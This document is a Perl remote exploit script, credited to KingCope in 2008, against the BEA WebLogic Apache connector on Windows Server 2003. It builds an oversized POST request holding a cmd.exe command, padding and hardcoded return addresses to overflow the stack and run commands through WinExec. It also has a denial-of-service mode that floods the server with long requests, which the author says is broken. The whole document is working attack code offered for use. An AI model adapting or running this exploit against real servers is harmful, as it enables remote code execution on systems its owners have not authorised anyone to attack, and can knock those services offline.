#// Bea Weblogic -- Apache Connector Remote Exploit +-1day #// Should stack break latest Windows Server 2003
#// BIG THANKS TO #// "dong-hun you"(Xpl017Elz) in INetCop - for his paper #// "Title: Advanced exploitation in exec-shield (Fedora Core case study)" #// His technique works fine against Windows 2003 latest version. #// #// The code is broken, since I am chilling out for now #// SKIDDI BULLETPROOF #// You may fixup the DoS Code, Windows Code Works on English OSs #// KingCope -- July/2008 use IO::Socket; use strict; $|=1; my $apacheport = 80; #// Touch ### my $wrongusage = 0; my $dodoshost = 0; ############################################################################### ### Target List Entries |Operating System and Patch Level / Kernel Version| ############################################################################### my @targets = (); my @tgtname = (); print "-" x 80; $targets[0] = "1 Windows Server 2003 Enterprise Edition SP2 RC1 -- English\n"; $tgtname[0] = $targets[0]; $targets[100] = "2 Denial of Service\n"; $tgtname[100] = $targets[100]; ############################################################################### ### Print Of Target List And Usage ############################################################################### print "\n"; print "Bea Weblogic -- Apache Connector Remote Exploit\n\n"; print "Target List:\n"; foreach my $target (@targets) { print $target; } print "\n\n"; print "-" x 80; print "Usage: perl bea-unlock.pl "; print "\n"; printusage: if ($wrongusage == 1) { exit; } ################################################################################ ### Argument Parsing ################################################################################ my $host = $ARGV[0]; my $target = $ARGV[1]; if (($host == "") || ($target == "")) { $wrongusage = 1; goto printusage; } ################################################################################ ### Setup Socket ################################################################################ setupsocket: my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $apacheport, Proto => 'tcp'); if ($dodoshost == 1) { goto doshost; } ################################################################################ ### Select Target ################################################################################ if ($target == 1) { print "Exploiting $host -- " . $tgtname[$target-1]; goto winexpl; } if ($target == 2) { print "Attacking Host $host -- Denial of Service -- Wait ...\n"; goto doshost; } ################################################################################ ### Exploitation of Windows Versions ################################################################################ winexpl: ####WORKS [LOOKUP THE HOSTNAME] my $command = "echo works > c:\\desiredfile.txt"; my $cmds = "cmd.exe /c \"$command\"|"; my $sc = $cmds; #### STACKBREAKING WITH WINEXEC() ON WINDOWS my $c = "C" x 97 . pack("L", 0x10013930) x 3 . pack("L", 0x10013930) . pack("L", 0x10013931) . pack("L",0x77EA411E); my $a = $cmds . "A" x (4000-length($cmds)) . $c; print $sock "POST /.jsp $a\r\nHost: localhost\r\n\r\n"; while (<$sock>) { print; } ################################################################################ ### Denial of Service Against The Apache Frontend Module For Bea Weblogic ################################################################################ ####NEEDS SOME FIXUP doshost: $dodoshost = 1; while(1) { $a = "A" x 6000; goto setupsocket; print $sock "POST /.jsp $a\r\n\r\nHost: localhost\r\n\r\n"; while(read($sock,$_,100)) { my $dosagain = 0; if ($dosagain eq 1) { "Server is down now\n"; exit; } if ($_ =~ /Server/) { print "."; $dosagain = 1; next; } } }